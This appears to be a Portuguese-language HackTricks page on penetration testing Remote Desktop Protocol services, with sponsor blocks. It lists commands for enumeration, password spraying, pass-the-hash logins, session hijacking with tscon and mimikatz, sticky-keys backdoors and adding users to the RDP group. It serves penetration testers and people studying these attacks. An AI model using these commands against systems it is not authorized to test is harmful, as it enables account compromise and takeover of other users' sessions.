hacktricks/network-services-pentesting/pentesting-rdp.md

9.9 KiB

3389 - Pentesting RDP

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem

Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios. Use nossas 20+ ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Informações Básicas

Desenvolvido pela Microsoft, o Remote Desktop Protocol (RDP) é projetado para permitir uma conexão de interface gráfica entre computadores através de uma rede. Para estabelecer tal conexão, o software cliente RDP é utilizado pelo usuário, e, simultaneamente, o computador remoto deve operar o software servidor RDP. Essa configuração permite o controle e acesso sem interrupções ao ambiente de desktop de um computador distante, essencialmente trazendo sua interface para o dispositivo local do usuário.

Porta padrão: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Enumeração

Automático

{% code overflow="wrap" %}

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

{% endcode %}

Ele verifica a criptografia disponível e a vulnerabilidade de DoS (sem causar DoS ao serviço) e obtém informações NTLM do Windows (versões).

Força bruta

Cuidado, você pode bloquear contas

Spraying de Senhas

Cuidado, você pode bloquear contas

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Conectar com credenciais/hash conhecidas

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Verifique credenciais conhecidas contra serviços RDP

rdp_check.py do impacket permite que você verifique se algumas credenciais são válidas para um serviço RDP:

rdp_check <domain>/<name>:<password>@<IP>

Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem

Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios. Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Ataques

Roubo de sessão

Com permissões de SYSTEM você pode acessar qualquer sessão RDP aberta por qualquer usuário sem precisar saber a senha do proprietário.

Obtenha sessões abertas:

query user

Acesso à sessão selecionada

tscon <ID> /dest:<SESSIONNAME>

Agora você estará dentro da sessão RDP selecionada e terá que se passar por um usuário usando apenas ferramentas e recursos do Windows.

Importante: Ao acessar uma sessão RDP ativa, você desconectará o usuário que a estava utilizando.

Você pode obter senhas do processo despejando-o, mas esse método é muito mais rápido e permite que você interaja com as áreas de trabalho virtuais do usuário (senhas no bloco de notas sem serem salvas no disco, outras sessões RDP abertas em outras máquinas...)

Mimikatz

Você também pode usar o mimikatz para fazer isso:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

Sticky-keys & Utilman

Combinando esta técnica com stickykeys ou utilman você poderá acessar um CMD administrativo e qualquer sessão RDP a qualquer momento

Você pode procurar RDPs que foram backdoor com uma dessas técnicas já com: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Se alguém de um domínio diferente ou com melhores privilégios fizer login via RDP no PC onde você é um Admin, você pode injetar seu beacon no processo da sessão RDP dele e agir como ele:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}

Adding User to RDP group

net localgroup "Remote Desktop Users" UserLoginName /add

Ferramentas Automáticas

AutoRDPwn é um framework de pós-exploração criado em Powershell, projetado principalmente para automatizar o ataque Shadow em computadores Microsoft Windows. Esta vulnerabilidade (listada como um recurso pela Microsoft) permite que um atacante remoto veja a área de trabalho de sua vítima sem o seu consentimento, e até mesmo a controle sob demanda, usando ferramentas nativas do próprio sistema operacional.

  • EvilRDP
  • Controlar mouse e teclado de forma automatizada a partir da linha de comando
  • Controlar a área de transferência de forma automatizada a partir da linha de comando
  • Criar um proxy SOCKS a partir do cliente que canaliza a comunicação de rede para o alvo via RDP
  • Executar comandos SHELL e PowerShell arbitrários no alvo sem fazer upload de arquivos
  • Fazer upload e download de arquivos para/de o alvo mesmo quando as transferências de arquivos estão desativadas no alvo

Comandos Automáticos HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Obtenha a perspectiva de um hacker sobre seus aplicativos web, rede e nuvem

Encontre e relate vulnerabilidades críticas e exploráveis com impacto real nos negócios. Use nossas mais de 20 ferramentas personalizadas para mapear a superfície de ataque, encontrar problemas de segurança que permitem escalar privilégios e usar exploits automatizados para coletar evidências essenciais, transformando seu trabalho árduo em relatórios persuasivos.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks
{% endhint %}